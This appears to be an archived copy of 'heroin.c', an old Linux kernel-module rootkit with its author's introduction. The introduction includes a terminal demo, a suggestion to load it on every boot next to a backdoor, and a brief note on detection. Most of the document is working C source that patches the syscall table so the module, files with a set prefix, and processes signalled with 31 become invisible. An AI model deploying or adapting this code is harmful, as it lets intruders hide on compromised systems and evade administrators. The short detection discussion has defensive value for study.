home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / heroin.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  12KB  |  383 lines

  1.  
  2. [ http://www.rootshell.com/ ]
  3.  
  4. As halflife demonstrated in Phrack 50 with his linspy project, it is trivial
  5. to patch any system call under Linux from within a module. This means that
  6. once your system has been compromised at the root level, it is possible for
  7. an intruder to hide completely _without_ modifying any binaries or leaving
  8. any visible backdoors behind. Because such tools are likely to be in use
  9. within the hacker community already, I decided to publish a piece of code to
  10. demonstrate the potentials of a malicious module.
  11.  
  12. The following piece of code is a fully working Linux module for 2.1 kernels
  13. that patches the getdents(), kill(), read() and query_module() calls. Once
  14. loaded, the module becomes invisible to lsmod and a dump of /proc/modules by
  15. modifying the output of every query_module() call and every read() call
  16. accessing /proc/modules. Apparently rmmod also calls query_module() to list
  17. all modules before attempting to remove the specified module, and will
  18. therefore claim that the module does not exist even if you know its name. The
  19. output of any getdents() call is modified to hide any files or directories
  20. starting with a given string, leaving them accessible only if you know their
  21. exact names. It also hides any directories in /proc matching pids that have a
  22. specified flag set in its internal task structure, allowing a user with root
  23. access to hide any process (and its children, since the task structure is
  24. duplicated when the process does a fork()). To set this flag, simply send the
  25. process a signal 31 which is caught and handled by the patched kill() call.
  26.  
  27. To demonstrate the effects...
  28.  
  29. [root@image:~/test]# ls -l
  30. total 3
  31. -rw-------   1 root     root         2832 Oct  8 16:52 heroin.o
  32. [root@image:~/test]# insmod heroin.o
  33. [root@image:~/test]# lsmod | grep heroin
  34. [root@image:~/test]# grep heroin /proc/modules
  35. [root@image:~/test]# rmmod heroin
  36. rmmod: module heroin not loaded
  37. [root@image:~/test]# ls -l
  38. total 0
  39. [root@image:~/test]# echo "I'm invisible" > heroin_test
  40. [root@image:~/test]# ls -l
  41. total 0
  42. [root@image:~/test]# cat heroin_test
  43. I'm invisible
  44. [root@image:~/test]# ps -aux | grep gpm
  45. root       223  0.0  1.0   932   312  ?  S   16:08   0:00 gpm
  46. [root@image:~/test]# kill -31 223
  47. [root@image:~/test]# ps -aux | grep gpm
  48. [root@image:~/test]# ps -aux 223
  49. USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND
  50. root       223  0.0  1.0   932   312  ?  S   16:08   0:00 gpm
  51. [root@image:~/test]# ls -l /proc | grep 223
  52. [root@image:~/test]# ls -l /proc/223
  53. total 0
  54. -r--r--r--   1 root     root            0 Oct  8 16:53 cmdline
  55. lrwx------   1 root     root            0 Oct  8 16:54 cwd -> /var/run
  56. -r--------   1 root     root            0 Oct  8 16:54 environ
  57. lrwx------   1 root     root            0 Oct  8 16:54 exe -> /usr/bin/gpm
  58. dr-x------   1 root     root            0 Oct  8 16:54 fd
  59. pr--r--r--   1 root     root            0 Oct  8 16:54 maps
  60. -rw-------   1 root     root            0 Oct  8 16:54 mem
  61. lrwx------   1 root     root            0 Oct  8 16:54 root -> /
  62. -r--r--r--   1 root     root            0 Oct  8 16:53 stat
  63. -r--r--r--   1 root     root            0 Oct  8 16:54 statm
  64. -r--r--r--   1 root     root            0 Oct  8 16:54 status
  65. [root@image:~/test]#
  66.  
  67. The implications should be obvious. Once a compromise has taken place,
  68. nothing can be trusted, the operating system included. A module such as this
  69. could be placed in /lib/modules/<kernel_ver>/default to force it to be loaded
  70. after every reboot, or put in place of a commonly used module and in turn
  71. have it load the required module for an added level of protection. (Thanks
  72. Sean :) Combined with a reasonably obscure remote backdoor it could remain
  73. undetected for long periods of time unless the system administrator knows
  74. what to look for. It could even hide the packets going to and from this
  75. backdoor from the kernel itself to prevent a local packet sniffer from seeing
  76. them.
  77.  
  78. So how can it be detected? In this case, since the number of processes is
  79. limited, one could try to open every possible process directory in /proc and
  80. look for the ones that do not show up otherwise. Using readdir() instead of
  81. getdents() will not work, since it appears to be just a wrapper for
  82. getdents(). In short, trying to locate something like this without knowing
  83. exactly what to look for is rather futile if done in userspace...
  84.  
  85. Be afraid. Be very afraid. ;)
  86.  
  87. .../ru
  88.  
  89. -----
  90.  
  91. /*
  92.  * heroin.c
  93.  *
  94.  * Runar Jensen <zarq@opaque.org>
  95.  *
  96.  * This Linux kernel module patches the getdents(), kill(), read()
  97.  * and query_module() system calls to demonstrate the potential
  98.  * dangers of the way modules have full access to the entire kernel.
  99.  *
  100.  * Once loaded, the module becomes invisible and can not be removed
  101.  * with rmmod. Any files or directories starting with the string
  102.  * defined by MAGIC_PREFIX appear to disappear, and sending a signal
  103.  * 31 to any process as root effectively hides it and all its future
  104.  * children.
  105.  *
  106.  * This code should compile cleanly and work with most (if not all)
  107.  * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.
  108.  * It will not compile as is under 2.0.30, since 2.0.30 lacks the
  109.  * query_module() function.
  110.  *
  111.  * Compile with:
  112.  *   gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
  113.  */
  114.  
  115. #include <linux/fs.h>
  116. #include <linux/module.h>
  117. #include <linux/modversions.h>
  118. #include <linux/malloc.h>
  119. #include <linux/unistd.h>
  120. #include <sys/syscall.h>
  121.  
  122. #include <linux/dirent.h>
  123. #include <linux/proc_fs.h>
  124. #include <stdlib.h>
  125.  
  126. #define MAGIC_PREFIX "heroin"
  127.  
  128. #define PF_INVISIBLE 0x10000000
  129. #define SIGINVISI 31
  130.  
  131. int errno;
  132.  
  133. static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
  134. static inline _syscall2(int, kill, pid_t, pid, int, sig);
  135. static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
  136. static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret);
  137.  
  138. extern void *sys_call_table[];
  139.  
  140. int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
  141. int (*original_kill)(pid_t, int);
  142. int (*original_read)(int, void *, size_t);
  143. int (*original_query_module)(const char *, int, void *, size_t, size_t *);
  144.  
  145. int myatoi(char *str)
  146. {
  147.         int res = 0;
  148.         int mul = 1;
  149.         char *ptr;
  150.  
  151.         for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
  152.                 if(*ptr < '0' || *ptr > '9')
  153.                         return(-1);
  154.                 res += (*ptr - '0') * mul;
  155.                 mul *= 10;
  156.         }
  157.         return(res);
  158. }
  159.  
  160. void mybcopy(char *src, char *dst, unsigned int num)
  161. {
  162.         while(num--)
  163.                 *(dst++) = *(src++);
  164. }
  165.  
  166. int mystrcmp(char *str1, char *str2)
  167. {
  168.         while(*str1 && *str2)
  169.                 if(*(str1++) != *(str2++))
  170.                         return(-1);
  171.         return(0);
  172. }
  173.  
  174. struct task_struct *find_task(pid_t pid)
  175. {
  176.         struct task_struct *task = current;
  177.  
  178.         do {
  179.                 if(task->pid == pid)
  180.                         return(task);
  181.  
  182.                 task = task->next_task;
  183.  
  184.         } while(task != current);
  185.  
  186.         return(NULL);
  187. }
  188.  
  189. int is_invisible(pid_t pid)
  190. {
  191.         struct task_struct *task;
  192.  
  193.         if((task = find_task(pid)) == NULL)
  194.                 return(0);
  195.  
  196.         if(task->flags & PF_INVISIBLE)
  197.                 return(1);
  198.  
  199.         return(0);
  200. }
  201.  
  202. int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
  203. {
  204.         int res;
  205.         int proc = 0;
  206.         struct inode *dinode;
  207.         char *ptr = (char *)dirp;
  208.         struct dirent *curr;
  209.         struct dirent *prev = NULL;
  210.  
  211.         res = (*original_getdents)(fd, dirp, count);
  212.  
  213.         if(!res)
  214.                 return(res);
  215.  
  216.         if(res == -1)
  217.                 return(-errno);
  218.  
  219. #ifdef __LINUX_DCACHE_H
  220.         dinode = current->files->fd[fd]->f_dentry->d_inode;
  221. #else
  222.         dinode = current->files->fd[fd]->f_inode;
  223. #endif
  224.  
  225.         if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
  226.                 proc = 1;
  227.  
  228.         while(ptr < (char *)dirp + res) {
  229.                 curr = (struct dirent *)ptr;
  230.  
  231.                 if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
  232.                         (proc && is_invisible(myatoi(curr->d_name)))) {
  233.  
  234.                         if(curr == dirp) {
  235.                                 res -= curr->d_reclen;
  236.                                 mybcopy(ptr + curr->d_reclen, ptr, res);
  237.                                 continue;
  238.                         }
  239.                         else
  240.                                 prev->d_reclen += curr->d_reclen;
  241.                 }
  242.                 else
  243.                         prev = curr;
  244.  
  245.                 ptr += curr->d_reclen;
  246.         }
  247.  
  248.         return(res);
  249. }
  250.  
  251. int hacked_kill(pid_t pid, int sig)
  252. {
  253.         int res;
  254.         struct task_struct *task = current;
  255.  
  256.         if(sig != SIGINVISI) {
  257.                 res = (*original_kill)(pid, sig);
  258.  
  259.                 if(res == -1)
  260.                         return(-errno);
  261.  
  262.                 return(res);
  263.         }
  264.  
  265.         if((task = find_task(pid)) == NULL)
  266.                 return(-ESRCH);
  267.  
  268.         if(current->uid && current->euid)
  269.                 return(-EPERM);
  270.  
  271.         task->flags |= PF_INVISIBLE;
  272.  
  273.         return(0);
  274. }
  275.  
  276. int hacked_read(int fd, char *buf, size_t count)
  277. {
  278.         int res;
  279.         char *ptr, *match;
  280.         struct inode *dinode;
  281.  
  282.         res = (*original_read)(fd, buf, count);
  283.  
  284.         if(res == -1)
  285.                 return(-errno);
  286.  
  287. #ifdef __LINUX_DCACHE_H
  288.         dinode = current->files->fd[fd]->f_dentry->d_inode;
  289. #else
  290.         dinode = current->files->fd[fd]->f_inode;
  291. #endif
  292.  
  293.         if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
  294.                 return(res);
  295.  
  296.         ptr = buf;
  297.  
  298.         while(ptr < buf + res) {
  299.                 if(!mystrcmp(MAGIC_PREFIX, ptr)) {
  300.                         match = ptr;
  301.                         while(*ptr && *ptr != '\n')
  302.                                 ptr++;
  303.                         ptr++;
  304.                         mybcopy(ptr, match, (buf + res) - ptr);
  305.                         res = res - (ptr - match);
  306.                         return(res);
  307.                 }
  308.                 while(*ptr && *ptr != '\n')
  309.                         ptr++;
  310.                 ptr++;
  311.         }
  312.  
  313.         return(res);
  314. }
  315.  
  316. int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)
  317. {
  318.         int res;
  319.         int cnt;
  320.         char *ptr, *match;
  321.  
  322.         res = (*original_query_module)(name, which, buf, bufsize, ret);
  323.  
  324.         if(res == -1)
  325.                 return(-errno);
  326.  
  327.         if(which != QM_MODULES)
  328.                 return(res);
  329.  
  330.         ptr = buf;
  331.  
  332.         for(cnt = 0; cnt < *ret; cnt++) {
  333.                 if(!mystrcmp(MAGIC_PREFIX, ptr)) {
  334.                         match = ptr;
  335.                         while(*ptr)
  336.                                 ptr++;
  337.                         ptr++;
  338.                         mybcopy(ptr, match, bufsize - (ptr - (char *)buf));
  339.                         (*ret)--;
  340.                         return(res);
  341.                 }
  342.                 while(*ptr)
  343.                         ptr++;
  344.                 ptr++;
  345.         }
  346.  
  347.         return(res);
  348. }
  349.  
  350. int init_module(void)
  351. {
  352.         original_getdents = sys_call_table[SYS_getdents];
  353.         sys_call_table[SYS_getdents] = hacked_getdents;
  354.  
  355.         original_kill = sys_call_table[SYS_kill];
  356.         sys_call_table[SYS_kill] = hacked_kill;
  357.  
  358.         original_read = sys_call_table[SYS_read];
  359.         sys_call_table[SYS_read] = hacked_read;
  360.  
  361.         original_query_module = sys_call_table[SYS_query_module];
  362.         sys_call_table[SYS_query_module] = hacked_query_module;
  363.  
  364.         return(0);
  365. }
  366.  
  367. void cleanup_module(void)
  368. {
  369.         sys_call_table[SYS_getdents] = original_getdents;
  370.         sys_call_table[SYS_kill] = original_kill;
  371.         sys_call_table[SYS_read] = original_read;
  372.         sys_call_table[SYS_query_module] = original_query_module;
  373. }
  374.  
  375. -----
  376.  
  377. -----
  378. Runar Jensen            | Phone  (318) 289-0125 | Email zarq@1stnet.com
  379. Network Administrator   |   or   (800) 264-7440 |   or  zarq@opaque.org
  380. Tech Operations Mgr     | Fax    (318) 235-1447 | Epage zarq@page.1stnet.com
  381. FirstNet of Acadiana    | Pager  (318) 268-8533 |       [message in subject]
  382.  
  383.